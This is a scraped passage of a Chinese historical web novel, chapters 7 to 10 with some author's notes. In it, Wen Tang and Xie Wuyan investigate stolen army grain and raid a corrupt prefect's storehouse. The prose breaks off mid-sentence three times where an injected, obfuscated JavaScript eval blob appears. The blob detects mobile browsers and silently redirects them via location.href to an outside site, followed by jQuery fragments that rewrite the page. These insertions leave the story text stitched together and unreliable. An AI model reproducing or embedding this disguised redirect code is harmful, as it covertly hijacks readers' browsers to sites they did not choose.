这事早就有下人告诉云淑了,尽管周衡是她的丈夫,但在这件事上,云淑觉得这位温姑娘是占理的,开设书院,对边关百姓乃至整个边关肯定是有百利而无一害。
看他一脸愁容,云淑笑了笑,从背后圈住他的宽腰,将头埋到他背上,“老爷,妾身虽说是后宅一妇人,但以妾身之见,大人可以答应温姑娘。”
周衡的妻子与他一样,都是出身平民,遥想当初,周衡三元及第,圣上有意将平南公主嫁给他,周衡宁愿不要官职也不愿抛弃糟糠之妻的行为赢得京中百姓的赞赏,多年以来,周衡十分敬重妻子,不管她说什么,周衡都愿意听上一听。
尤其是此刻,妻子完完全全的依赖,让周衡的一颗心都柔软了,他将妻子滑腻的小手握在掌心里,嘴角扯出一抹笑意,“你且说说看。”
“老爷,妾身觉得因果轮回,三十年河东三十年河西[1],现今朝中局势不明,天下动荡不安,但旭日始旦,拨云见雾,乱世总有平定的那一日,老爷觉得以朝中的局势,不需要文臣,可老爷却忘了一点,那就是两方交战,既要有能奋勇杀敌的战士,也需要有聪慧头脑的谋臣,老爷只拿一个诗词歌赋来揣测温姑娘的用意,觉得京城里的姑娘只会附庸风雅,实在是用小人之心来看待温姑娘了。”云淑吐气如兰,她的每一句话都说到了周衡的心坎上,周衡眉目松动。
“再则,老爷之所以能坐上节度使这个位置,昔年确确实实是受了国舅府提携,做人不能忘本,那温姑娘不就是谢郎君的未婚妻,那于情于理,温姑娘的这个请求,妾身觉得老爷应该答应,何况此举也是为边关百姓谋福祉,说不定将来都是能记在史卷上的,老爷何乐而不为呢。”云淑见他眉目松动,再接再厉。
如同久旱逢甘露,多日以来,盘旋在周衡心里的一大难题迎刃而解,周衡表情舒展,放声大笑三声,“得妻如此,是本官之幸。”
“能为老爷分忧,妾身亦欢喜。”云淑退后半步,姿态柔顺。
周衡扶着她的肩,朝外喊一声,“小李子,你亲自去请温姑娘过来。”
宝子们,来啦。
下一章晚上12点见。
[1]:出自《儒林外史》。
福祉:出自《韩诗外传》。
作者有话说
显示所有文的作话
第4章 第 4 章
7. 第 7 章
==第七章:晕倒==
粮草出了这么大的纰漏,慕翊深受打击,在副营帐里来回踱步,按照本朝例律,但凡是运送到边关的粮草出了问题,势必要处以极刑,祸及家人。
慕翊只恨自己掉以轻心,竟是丝毫都没察觉到那些粮草被掉包了,大错已经酿成,他如何不要紧,但家中娇妻幼子何其无辜,他如何都不能连累了家人。
一时之间,慕翊心胸澎湃,手指头都在哆嗦,他眼里闪过一丝坚决,如鹰般的眼睛看向了那高台之上悬挂着的矛。
紧接着,一道如清泉般温和悦耳的声音传了进来,“慕家主。”
“谢郎君。”慕翊浑身僵住,望向了掀开营帐的人,只见谢无宴身旁跟着一个年纪尚小、清丽脱俗的少女,慕翊眼中闪过一丝意外,“这位是?”
谢无宴语气平和,出声解释,“温国公千金温棠。”
温国公府千金温棠,那不是谢郎君的未婚妻,听说国舅府流放边关前夕,谢郎君退还了其定情信物,但令众人没想到的是温姑娘会毅然决然的跟着来到边关之地,慕翊听闻此事还跟自己夫人提了一嘴,慕翊作揖,“温姑娘好,久仰大名。”
谢无宴是送温棠过来,人送到了,他便先出去了,慕翊原本以为是谢郎君要审问他,但看这情形,倒像是温姑娘要审问他,慕翊不敢含糊,拿出十足的精气神来应对温棠,温棠在慕翊对面坐下,她坐的位置是营帐的主位,抽出一张宣纸跟狼毫,温棠眉眼轻弯,望向慕翊,“慕家主,我相信此事背后必有人在推波助澜,当务之急还是应该将这背后之人给揪出来,您说是不是?”
“自……自然。”慕翊被她的眼神给震慑住,下意识点头。
***
而冬日里的京城无疑是极为热闹的,宫里圣上日日沉溺在徐贵妃的温柔乡里,朝中不少官员更是日夜纵情声色,花天酒地。
温国公府后院的一处佛堂,曲径通幽,静谧无声,一个温婉妇人正一边敲着木鱼,一边念经,温国公咬牙切齿地盯着她,“你到底要闹到什么时候?”
他气急败坏的样子丝毫没有影响到正在诵经的卢歆,不知过去了多久,卢歆才睁开眼,那双憔悴的眼睛里是掩盖不住的痛苦跟恨意,“是妾身在闹还是国公爷太过冷血无情?妾身想问国公爷一句,棠棠她犯了什么错,老爷要如此。”
“她贵为国公府的小姐,目无尊长,对我这个父亲毫无敬意,这是其一;前皇后犯了大错,她竟当你我之面指责是当今贵妃娘娘的不是,是为大不敬,这是其二;她三年前有幸成为朝阳公主伴读,得太傅教导,竟没有学习到一点世族女子该有的温婉淑良,说的做的简直是没有一点世家贵女的风范,这是其三。”
温国公只要一想到温棠那张脸就心生厌恶,他知道温棠无辜,但要怪就怪她有这么一个好生母,大户人家出身,却没有灵儿的半分良善跟温柔,还不懂得体贴丈夫,只有灵儿才配做他的妻子,至于温棠,也比不上他跟灵儿生的女儿,除了那一张尚可的脸,丝毫没有十三岁姑娘家该有的天真浪漫跟娇俏可人,哪像嘉嘉性格娇俏不说,又爱跟他这个当父亲的撒娇,还听话懂事,温国公每每看到小女儿,一颗心都要跟着软化了,这些哪是温棠这个逆女能比得上的。
一想起小女儿,温国公心里一片柔软,心里有多柔软,他的表情就有多冷漠,他说:“至于去边关,夫人难道忘了,这是她自己要去的,她既然口口声声说自己去边关是为了一方百姓,那我这个当父亲的哪有不答应的,夫人啊,咱们的女儿既然有这样的志气,那就算她哪日死在边关,夫人也该欣慰不是。”
说到后面,温国公的语气里已经带了赤裸裸的讽刺。
当日温棠决意跟随国舅府去边关的时候,她是这么说的,“女儿此去边关,不为别人,只为一方百姓,女儿相信,哪怕如今天下乌云蔽日,有小人作崇,但终有一日,天下一定会盛世太平,河清海晏。”
温国公当初听到这话,还真被她这话给震住了,脚步都不由退后了半步,可后来他想啊,这漂亮话谁不会说,一个养在深闺的大家闺秀,她还能有这本事,说出去不得让人笑掉大牙,她那些话分明是在故意挑衅他这个当父亲的威严,温国公就更不喜欢她了。
他心目中的女儿就是像嘉嘉那种有着这个年纪的姑娘该有的天真浪漫,能够替父分忧的,像温棠这种桀骜不驯、完全不将他这个父亲放在眼里的逆女,温国公是不可能带正眼瞧的。
“你……”卢歆气得浑身都在抖,她作势就要给温国公一耳光,温国公施施然地退后一步,狠狠地捏住卢歆的手腕,那力道,仿佛是要将卢歆的手腕给捏碎,卢歆身旁的小丫鬟青儿正要上前,却被一个五大三粗的婆子给按住了,温国公语调慢悠悠的,“夫人何必这般生气,难道我说的不是事实,温棠乃我温国公独女,我自问没有亏待过她,她从小锦衣玉食的长大,只待及笄就能嫁给哪怕不是国舅府的大户人家当主母,但她不是自己不要吗?”
还不等卢歆有所反应,一旁的李婆子跟荷花已经面露鄙夷,说白了,夫人跟姑娘就是身在福中不知福。
“所以夫人与其生我的气,还不如怪你自己生了一个好女儿。”
温国公明面上是在劝解夫人卢歆,实际字字句句都在奚落温国公夫人,言辞犀利,暗带不满跟低讽。
他重重地放开卢歆的手腕,卢歆本来就跪了太久,一时没站稳摔倒在地,梳好的惊鸿髻也乱了,青儿急忙上前扶她,卢歆眼眶通红,神色痛苦,“夫人。”
“好好照顾夫人,范阳卢家不日将有人来府上做客,要是夫人有个好歹……”温国公却视而不见,他一副高高在上的姿态,看了众人一眼。
荷花等人闻弦知意,嘴角扯出一抹笑,福了福身,“奴婢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883097|176374||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明白。”
温国公和颜悦色,大步离开佛堂,他还急着去见灵儿,要不是知道范阳卢氏家的大公子要过来,他这会儿肯定还在跟灵儿温存,他这刚走到府门口,圣上的御前红人越公公面色焦急地迎上来,“老奴见过国公爷,国公爷,皇上请您即刻入宫,说有要事商议。”
“臣这就去。”圣上的旨意,温国公哪敢违抗,屁颠屁颠地跟着越公公去了。
温国公一过来就跟夫人起了这么大争执,底下的人除了李婆子跟荷花,其他人都不敢吱声,还是青儿心疼自家夫人,“夫人,您快先起来吧。”
李婆子跟荷花一看到她这副寻死觅活的样子就感到厌烦,国公爷为了夫人,多年没有纳妾,情深不寿,又因担心夫人怀孕辛苦,只与夫人育有一女,在姑娘的事情上,国公爷是做得有些绝,那夫人就不能体谅一下老爷吗,闹闹闹,闹了大半年还没闹够。
伺候这样的女主人,李婆子跟荷花只觉得晦气。
青儿轻拍着卢歆的后背,卢歆的手腕被捏得青红一片,青儿一脸心疼,想给她包扎一下,卢歆却是摇了摇头,她说:“你们先下去吧,我想静一静。”
“是,夫人。”荷花巴不得早点出去,夫人能有今日,还不是她本人想不开,国公爷愿意哄夫人,她们可没有责任哄。
其他几名丫鬟跟着荷花一起出去,而就在槅扇门合上的那一刻,窗边有一只鸟儿停靠栖息,那鸟儿与其他鸟儿不同,翅膀翠绿翠绿的,尾羽处系着一根红绳。
***
在明明灭灭的重影中,昏迷许久的朱恒缓缓睁开眼,他好像睡了很久,可短暂的迷糊之后,朱桓脸色忽然一白,因为他意识到了一个更严重的问题,因为他将本该运送到边关的粮草给弄丢了,那可是一千万石的粮草啊,他怎么能犯这样的错误。
思及他的下场,朱桓悲从心来,喉咙尝到腥甜,是以没注意到屋内多了一个人。
“醒了?”
朱桓猛地抬起头,这才注意到屋内多了一个人,是有着风华绝代之姿,容颜温润如玉的谢小国舅,他正看着自己,朱桓扑通一下就在他面前跪下,语气着急地解释,“谢郎君,这事真不是臣做的啊,臣什么都不知道,臣一路已经足够小心,虽说是遇到了劫匪,但那箱子都是完好无损的啊。”
谢无宴少年之时便入了朝堂,哪怕今时今日他随国舅府流放到边关,朱桓也不敢小瞧了他,因为他若真如他表现的那般温良,那他能不能活到边关都是另一回事,此人分明就是深藏不露之辈。
谢无宴眉似远山,低眸道:“无宴相信此事不是朱大人做的,但一千万石粮草是在朱大人的眼皮子底下变成了石头,朝廷要是追究其责任,朱大人脱不了干系。”
朱桓色白了白,他又不是个傻子,能听不懂他的意思吗,朱桓惊慌失措地望向谢无宴,“谢郎君想让本官做什么?”
8. 第 8 章
==第八章:真相==
温棠跟慕翊在营帐内谈论了小半个时辰,出来时,手里拿着一幅图纸,墨羽就在外面等她,见她出来,连忙拱了拱手,“温姑娘,公子他去了朱大人那里,公子吩咐属下若是温姑娘出来,且先去主营帐等一会儿。”
温棠神色轻轻一动,眉眼间是掩盖不住的清丽之色,恍若一株粉玉兰,“墨羽,运送过来的那批假粮草在哪里,你能带我去看看吗?”
墨羽一怔,按理说这种事情应该请示公子跟威远将军的意思,但公子对温姑娘一直极为信任,二人又是未婚夫妻,几乎只是瞬间的犹豫,墨羽举止谦卑恭敬,“温姑娘这边请。”
那些无用的箱子全部堆积在仓库里,温棠绕着箱子转了一圈,转到一半,她拿手摸了摸箱子的材质,轻轻蹙了蹙眉,这时,谢无宴掀开帘子走进来,他负手而立,面庞温润,“可看出什么来了?”
温棠看了一眼他的身后,见无人才压低声音开口:“粮草应该还在随州城仓库。”
谢无宴眉梢很淡,神色没有特别惊讶,温棠一怔,脱口而出,“你知道?”
本朝不管是运送粮草,还是运送赈灾之物,都依靠漕运,诚如慕家家主所说,运送的这一路,只经过两处陆路,那便是抚州城跟随州城。
慕家家主说他们这一路总共遇到三次刺杀,甚至在快到随州仓库的那条水路上几条船只的箱子全部侧翻了,只是那日恰逢暴雨,他们来不及清点便匆匆忙忙离开了,所以慕家家主怀疑那些粮草在那时就被掉包了。
但温棠不这么觉得,她怀疑是运送粮草的队伍本身就出现了内鬼,这个内鬼很有可能还在慕家主亦或是朱大人身边。
方才朱桓是这么跟谢无宴说的:“现如今朝中势头最胜的便是温国公府,清阳侯府,永义伯府,太傅府,除了温国公府一心一意支持太子殿下,其他几家都未站队,若是太子想用这种方法杀鸡儆猴,逼迫其他几家站队,未尝没有这个可能。”
温棠将自己的想法告诉了谢无宴,谢无宴正要开口,仓库外传来卢范吊儿郎当的声音,“你们家公子跟妹妹当真在里面?”
“请卢兄进来。”谢无宴在温棠身边站定,出了声。
卢范折扇倏然一收,大手掀开帘子,温棠抬起眼,“表哥怎么来了?”
“这不是听说出事所以就过来了。”卢范撇了撇嘴,他行事虽说有些放荡不羁,那也分得清事情的轻重缓急,尤其是马上就是年关了,押送至边关的粮草却无缘无故的失踪,那边关将士还要不要过年了,想到这里,卢范的眉头就皱了起来,“到底是怎么一回事?”
谢无宴捻了捻莹白如玉的指腹,眉梢微垂,“背后之人应该不是徐贵妃,便是太子。”
此“太子”非彼“太子”,当然是豫王秦逸寒,徐贵妃亲子。
秦逸寒与徐贵妃最大的不同就是他善于伪装,不管是做王爷,还是做太子,他都永远把自己摆在一个低等的位置,像一只潜伏在夜色之中的鹰,等待最佳的机会重拳出击。
卢范最讨厌的就是徐贵妃母子,闻言他眉头紧锁,脸色都黑了,“他到底想做什么,在京中只手遮天还不够,连边关的事情都想插手。
如今这江山,哪是圣上的天下,分明就是徐贵妃母子的天下了,当然,一切都是因为帝王昏庸,已经分不清是非,分不清忠良了。
温棠长长的眼睫像蝶翼一样轻轻动了动,没有说话。
徐贵妃睚眦必报,不排除因为宜妃娘娘的缘故,加上朝中永义伯府不支持她,所以她想对朱大人动手,但也不排除太子想借慕家家主的势,慕家家主没答应,他想借此机会除去慕家,但不论是何种原因,这事都跟徐贵妃母子脱不了干系。
“那你们如今打算怎么办?”
天高皇帝远,圣上昏庸无能,朝政被徐贵妃把持着,这事能不能被调查清楚都是个未知数,他们这群人还在边关,想要调查个事情真相都难如登天。
谢无宴睫如鸦羽,瞳孔很深,“我与棠棠晚些启程去随州城。”
“你们去能成吗?随州城与河东相连,要是让河东的人知道你擅长离开边关,告了京城那头的人怎么办?”
卢范记得河东裴氏的二公子便在朝中为官,与朝中一半的大臣交好,深受圣上的信任,国舅府一族乃是流放,即便谢家人不用在边关为奴为婢,那也不能擅自离开边关,被人抓住把柄可不得了。
还有他的妹妹,她是有武功在身,也能擅自离开边关,但到底还是一个未及笄的小姑娘,粮草已经丢了,那就代表慕翊跟朱桓已经中了计,那么他们不管是去随州城调查真相还是想要将那一批粮草原封不动的弄回来,都不亚于是与虎谋皮。
温棠容颜清丽脱俗,若春日的玉兰花,“表哥忘了,这不是还有面具吗?”
面具,在江湖之中极为常见,一般人谁会想着去揭对方面具。
卢范恍然大悟,摇了摇头。“那看来你们这是都想好了。”
三人从仓库回到谢无宴所在的营帐,随着卢范的到来,帐中的气氛总算没有那么紧绷,这时,墨羽在外面试探地开口:“公子,午膳准备好了。”
谢无宴:“端进来吧。”
“温姑娘还未用膳吧,不妨坐下来用一些。”
军营里的膳食比较简单,两碗清粥,两碟小菜,温棠没有跟谢无宴客气,坐了下来,谢无宴递给她一双木筷,温棠回之一笑,卢范看着二人那副“恩恩爱爱”的模样,叹了口气,大大咧咧地找了一个凳子坐下,“妹妹这个时辰还未用膳?”
“我上午在周府。”温棠跟卢范解释。
“给那些人讲学?”兄妹二人难得这么心平气和的说话,卢范格外珍惜,挑了挑眉,见她点头,不由腹诽一句,“之前我还觉得周大人此人迂腐古板,没成想不然。”
在卢范印象中,周衡虽说是好官,同时也非常独善其身,他驻守边关这些年,除了火烧眉头的大事,其他的事情他都不会管,亦不会插手。
像之前边关大旱,他向朝中递了折子,朝中没有回信,他就索性撂担子不干了,也是够明哲保身的。
三人之中,还就卢范话多一点,用完午膳,威远将军便派人来问能不能出发了,谢无宴抬起如山的眉目,说他待会就来,卢范率先大摇大摆起了身,摇开折扇,“走吧,我送你们出去。”
“那就有劳卢兄了。”谢无宴面容清隽,嗓音温雅。
威远将军,周衡,还有朱桓已经在军营最近的出口等着了,看谢无宴跟温棠一起出来,众人眼里没有一丝惊讶,眼观鼻鼻观心。
倒是朱桓,看了温棠好几眼,温棠少年时经常被先皇后娘娘接入宫中,朱桓见过她几次,见她即便来了边关,依旧芳华不减,眼里倒是有几分敬佩。
世人常说:“近水知鱼性,近山知鸟音[1]”,他虽然只是个旁观者,但却能感受到小国舅跟温姑娘的不易,两人少年之时皆名扬京城,一个是少年入朝堂的世家子弟,亲姐乃贤良淑德的皇后娘娘,一个是出身国公府的嫡出姑娘,少时便被宫里选中作为朝阳公主伴读,风头无两,谁能想到后来会发生这么多的事,要换成寻常人,可能就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883098|176374||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此一蹶不振,但他们二人却在这边关之地如鱼得水,要换成他,他都不一定能做到。
“朱大人,慕家主,这些日子,还望你们能够揪出身边内鬼,若是朝中有圣旨过来,这些人亦可以做人证。”谢无宴温润平和的目光望向了朱桓跟慕翊,道。
朱桓跟慕翊自然称“是”,这件事事关家族存亡,他们哪敢大意,而且胆敢算计他们的人,就算谢郎君不说,他们也不会轻易放过。
“周大人。”温棠潋滟如水的眸光落到周衡身上,开口。
“温姑娘有何吩咐?”周衡后背一僵,现在他是真的不敢小瞧了面前这位温姑娘。
“周大人,养兵千日,用兵一时[2],朝廷运送的粮草本就迟了一月,今又出了差错,温棠希望周大人能够开仓让粮,解当下燃眉之急。”
周衡点头,“这是自然。”
“周大人,缺的我们范阳卢氏补上。”卢范挑了挑眉,道。
日头西落,远边浩瀚如烟。
“谢公子跟温姑娘请。”朱桓在谢无宴面前不敢摆官腔,乐呵呵道。
谢无宴戴上银色面具,一踩马镫上了马,温棠足尖一点,上了另外一匹马,与此同时,她飞快扯住缰绳,勒住蠢蠢欲动的马儿。
夕阳西下,一群人目送二人离开,周衡如鹰的眼睛觑了卢范一眼,试探地问:“卢公子这是?”
卢范说他要先回边关城一趟,扇一收,骑马离去。
一进一出的府邸,谢禾蓁正坐在门口,捧着小脸,翘着小腿发呆,看到谢时予矫捷的身影,谢禾蓁眼睛一亮,小跑了过去,“哥哥,我听说京城运送过来的粮草出了问题,到底是怎么回事?”
谢时予带着她进了里屋,眉目微蹙,轻声道:“朱大人跟慕家主应是遭了暗算。”
“是京城的人还是?”谢禾蓁惊得张大了嘴巴,揪住了谢时予的宽袖。
运送边关粮草,不是一件小事,不管是因为什么,朱大人跟慕家主都犯不着以身涉险,那便只有一种可能,朱大人跟慕家主是遭人暗算,这背后之人的心思当真是恶毒,将运送的粮草弄丢了,搁先帝那会儿不得除以流刑。
“还不清楚这背后之人是针对朱大人还是慕家主,但背后之人肯定是想在朝中排除异己。”
谢禾蓁一下子就想到了一个人,表情一时变得极为愤恨,“是徐贵妃身边的人?”
想在朝中排除异己的除了徐贵妃还能有谁,要谢禾蓁说,如今这江山已经分不清是谁做主了。
谢时予瞥她一眼,“也有可能是太子,堂哥还有温姐姐已经去随州城调查了,真相肯定会很快水落石出。”
“温姐姐也去了,那哥哥跟温姐姐会不会有危险?”谢禾蓁大惊失色。
“堂哥跟温姐姐会照顾好自己的,你放心。”
谢禾蓁闷闷地“嗯”了一声,依着哥哥如今的身份,他肯定不能擅自离开边关,要是被别人发现了,那哥哥肯定会置身在危险之中,谢禾蓁不想哥哥跟温姐姐遇到危险,却又明白哥哥跟温姐姐一定会去的,她的眼睛跟葡萄一样大,水汪汪的。
“别担心,堂哥跟温姐姐肯定会没事的。”谢时予笑了下,温暖的手掌揉了揉谢禾蓁的小脑袋,只是这话不知道是在安慰谢禾蓁,还是在安慰自己。
而卢范以最快的速度回到了他所住的宅子,他回书房拿出笔墨纸砚,头回没有摆出一副吊儿郎当的姿态,他动作迅速飘逸,很快写好了一封信,合上,递给侍卫,“你想办法将这封信传到裴卿的手上。”
裴卿,河东裴氏的三公子。
9. 第 9 章
==第九章:河东裴氏==
随州城地势陡峭,四面连山,深处犹如乌云笼罩,城门口有数名士兵把守着,每一个进城的人都要经受盘问,查看户籍。
早上城门一开,便有数十名百姓要进城,士兵们一边查看他们的户籍,一边不耐烦地摆手,“走吧走吧。”
“快点。”
直到一辆通体华贵,用上好的紫檀木打造的马车出现,士兵们才相互交换了个眼神,最近好像也没听说京城要派人过来啊,这辆马车还有身后跟着的一连串的随从,密密麻麻的,可见马车上的人身份必定显贵。
而前面驾车的车夫竟然目不斜视,视他们为无物,架着马车便想进去,为首的士兵马上用矛将这辆马车拦下,“且慢。”
还不等士兵跟他们讲随州城的规矩,马车里面传来一道含笑散漫的年轻嗓音,“哪个不长眼的敢阻小爷的路?”
前面驾车的车夫冲城门口几名士兵抱拳,客气解释,“我们公子乃河东裴氏的三公子。”
河东裴氏,那可是百年望族,家财万贯,河东裴氏的二公子裴敖便在京中为官,深受宠幸。
士兵们马上换了一副姿态,诚惶诚恐地小声解释,“是小人有眼不识泰山,竟不知裴三公子来随州城,只是每一个进出随州城的人都要经过盘查……”
而且裴三公子好端端的来随州城做什么,这又不是河东,他们在心里腹诽一声,偏偏面上还是作出一副谄媚的表情。
几个士兵都将心中所想写到脸上了,车夫笑道:“我们公子整日在河东看景色,都要看腻了,所以想来领略一下随州城的风土人情,你们随州的张大人难道不欢迎?”
“先生这话可就折煞小人了,这天下哪有裴公子不能去的地方?”为首的士兵点头哈腰,“只是小人也是奉命办事,不知裴三公子可否掀开帘子让小人看一眼,看完即刻放行。”
“看够了吗?”下一刻,马车的帘子便被掀开,中间的年轻男子微微挑了挑眉,手里捏着一把美人仕女图象牙扇,正是裴氏三公子裴卿,世人提起河东裴氏三公子最多的便是他风度翩翩,濯濯如春月柳,轩轩如朝霞举[1],要不就是说他为一青楼女子一掷千金。
作为河东裴氏的子弟,却跟青楼女子搅和不清,是为世俗所不容,但他却执意要娶那女子为正妻,为此不惜与家族抵抗,所以天下无人敢议论他纨绔多情。
而他的对面坐着一个戴着银色面具的男子跟一个戴着粉色面纱的少女,男子一看便是气度不凡,少女虽然戴着面纱但依旧难掩姝色,裴卿笑意盈盈地介绍,“这两位是我们裴氏的四公子,跟表姑娘金棠。”
为首的士兵表情有几分踌躇,想让他对面的两人将面具跟面纱揭下来,但顾虑到对方的身份,士兵不敢开这个口,他旁边另外一名士兵看出他的心思,在他耳畔小声提醒道:“我听说裴四公子因身体不好,常年待在府中,可能不想以真面目示人。”
至于这位表姑娘,摆明了就是还没嫁人,世家名门规矩多,未婚少女多以面纱遮容,不轻易示人。
那这一切可就说得通了,为首士兵脸上堆满笑意,眼里的警惕消失得一干二净,抬起手,“放行。”
只是等马车离开之后,为首的士兵马上吩咐一声,“去跟大人说一声,裴三公子跟裴四公子来了。”
随州城来了个身份这么高贵的大人物,那肯定是要让大人知晓的。
带着河东裴氏标志的马车很快在一家驿馆停下,驿馆里面除了少东家,已经空无一人,裴卿进去之后随意地摆了摆手,“你们都在外面守着。”
“是,公子。”
“温姑娘,好久不见。”进门之后,三人围着圆桌坐下,裴卿微微勾起的狐狸眼落在少女身上,笑了一声。
“今日的事情,多谢裴三公子。”温棠将面纱揭开,露出清丽的容颜。
裴卿:“温姑娘这是说的哪里话,你外祖父家与我们裴氏可是有姻亲往来,要真细算,我还算你半个兄长。”
谢无宴给温棠倒了盏茶,语气温润如清泉,让人闻之舒缓,“裴三公子,可以说正事了。”
裴卿似笑非笑地看了谢无宴一眼,在心里嘟哝了一句“小气”。
不过他们这次来随州城确实是为了正事,裴卿收起漫不经心的姿态,一本正经地问:“据我所知,粮草从京城运送到边关,依靠的是漕运,而在陆路上,这批粮草只在随州城跟停留过,你们何以认为这批粮草就在随州城呢?”
温棠告诉裴卿,是因为螳螂捕食,黄雀在后[2]。
她们能想到的,这背后之人也能想到,所以他们很有可能会反其道而行之。
裴卿沉默了,“徐贵妃跟太子殿下能想到那么多吗?”
许是因为徐贵妃之所以能把持后宫,干涉朝堂,全是凭借当今圣上的宠爱跟昏聩,裴卿一直瞧不上这种人,按理来说这个节骨眼上,敢公然在粮草上动手脚的便是徐贵妃母子,若真是徐贵妃母子动的手,她们能想这么深吗。
温棠明眸皓齿,眉眼姝丽,“不无这个可能。”
“你们既是怀疑,那不如今晚我派个人过去查探一下吧?”裴卿并不怀疑她的话,微微点了点头,或许真是他小瞧了徐贵妃母子。
温棠却觉得要兵分两路,裴卿身体不由坐直,觉得她说的有几分道理,因为距离粮草被盗窃已经过了一个月了,就算当时它在随州仓库,那现在有可能也被转移了,不转移不就等着别人来查吗。
“那我带人去仓库吧。”裴卿略摸思索了一会,对二人道:“你们两个去知府,我再派几个人在外面接应你们。”
为了防止引起他人怀疑,这次温棠跟谢无宴是只身来随州城,其他人一个都没带。
“那就有劳裴三公子了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883099|176374||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
下人传消息给张直时,张直怀里正抱着两个仙姿玉色的美人儿,一个喂他吃葡萄,一个喂他喝酒,半靠在榻上的张直摇头晃脑,表情愉悦,直到听到来人说裴三公子来了,张直身体一下子就坐直了,表情有几分难看,“你说什么?裴三公子来了。”
裴三公子,那可是河东裴氏的嫡出公子,他来随州城,那可不是一件小事。
张直只觉得嘴里的酒格外辛辣,他被呛了一下,连忙派人去请裴三公子来府中做客,派出去的人很快就回来了,来人说:“裴三公子说他今日累了,就不过来了,等明儿个他再过来。”
张直稍稍松了一口气,抬步去了张夫人屋里,他让张夫人在府中挑选几位身姿曼妙,容色尚佳的女子出来,因为明日裴三公子要来府中做客。
***
深夜,寒风呼啸,耳边传来“滋滋”的响声,跟闹鬼似的,正捂着耳朵的护卫猛地呵斥一声,“谁?”
“你怎么了,梦魇了?”旁边正搓手群暖的护卫被他吓了一跳,没好气地瞪了他一眼,这夜深人静的,他突然这么大嗓门,差点没把他给吓死。
方才开口的护卫挠了挠头,“我怎么感觉刚刚有人从我们身后经过。”
“今晚风有些大,可能是风吹落叶的声音,你快别说了,说的人瘆得慌。”
另外一个护卫耸了耸肩,恨不得将他这张乌鸦嘴给封住,本来他不觉得什么,但经他这么一说,他越想越觉得瘆得慌,他们府上的张大人本就不是一个好人,这三年来冤死在他手中的人就不少,要是这深更半夜真有鬼来跟他们张大人索命,那也不是没这个可能。
两个护卫对视一眼,双手合十,在心里默念,“鬼啊鬼啊,冤有头,债有主,那些个冤案都是我们大人给判的,你们要索命记得去前院找我们大人索啊。”
躲在后山的温棠松了一口气,她环顾一下四周,黑漆漆的,凭着对地图的记忆预判后院的位置,温棠的手往北边一指。
谢无宴脸上戴着银色面具,整个人仿佛与月色融为一体,他足尖轻点,将正要使用轻功的少女一把捞了起来,沿着红墙碧瓦去探,直到看到“库房”牌匾,库房的外院把守的两个小厮早就昏昏欲睡,脑袋都要点到地上去了,谢无宴揽着温棠翻墙而入,丝毫没有惊动库房院子外面把守的小厮,而院子里面,库房门口还站着十名五大三粗的护卫。
幸好温棠早有准备,她从佩戴里掏出一只设计巧妙的笛子放到嘴边,没有发出一点声音,但不到一炷香,那些个护卫统统倒地,一看就是睡熟了。
可一个难关解决了,就将面临另外一个难关,那就是库房的扇门是锁上的,谢无宴观察了一下金锁的形状,朝温棠看了一眼,幼年便相识的人,二人之间早就形成了一种默契,只见温棠纤细的手腕翻出数根银针,接着,她长指翻动,那把金锁很轻巧的就被打开了。
10. 第 10 章
==第十章:贵妃娘娘==
夜色寂静冷清,扇门被轻轻一推,又如同一阵风似的合上,趁着熹微的月色,温棠瞧见偌大的库房里面摆满了一排排的箱子。
还不等温棠出手,电光火石间,一个黑影从窗牖外飘进来,一把刀剑横在了温棠的脖子处,“你是谁?”
说时迟那时快,温棠翻手便是一记,重重地敲击了他的肘部,趁对方吃痛,少女灵活巧妙地脱离了他的掌控。
“你个贱人。”黑衣人疼得甩开了剑,怒目圆睁。
另外一名黑衣人也要过来捉温棠,谢无宴从背后袭击了黑衣人,擒住黑衣人的身体,温棠手腕翻出数根银针,三两下就将前面的黑衣人给制服了,另外一只脚蹬出去,后面的黑衣人身体踉跄了下,温棠轻盈的身子在空中打了个转,与谢无宴一左一右地按倒了这名黑衣人,定了他的哑穴。
正在这时,手摇折扇、一身红衣的裴卿翻窗而入,他用口型告诉他们外面的人都已经“解决”了,“谢郎君,温姑娘,我带的人已经到了。”
丑时一刻,月色更深,知府一片寂静,唯有前院还亮着灯,张大人搂着怀中的娇人儿翻云覆雨,忽然远处传来火光,紧接着火势越来越大,看守的护卫被吓了一跳,慌了神,“来人啊,大事不好了,后院着火了。”
“快快快,快去灭火。”
“快啊……”
护卫匆匆忙忙赶去前院禀告,不止说话的语气在抖,手脚都在打哆嗦,“老爷,大事不好了,后院着火了。”
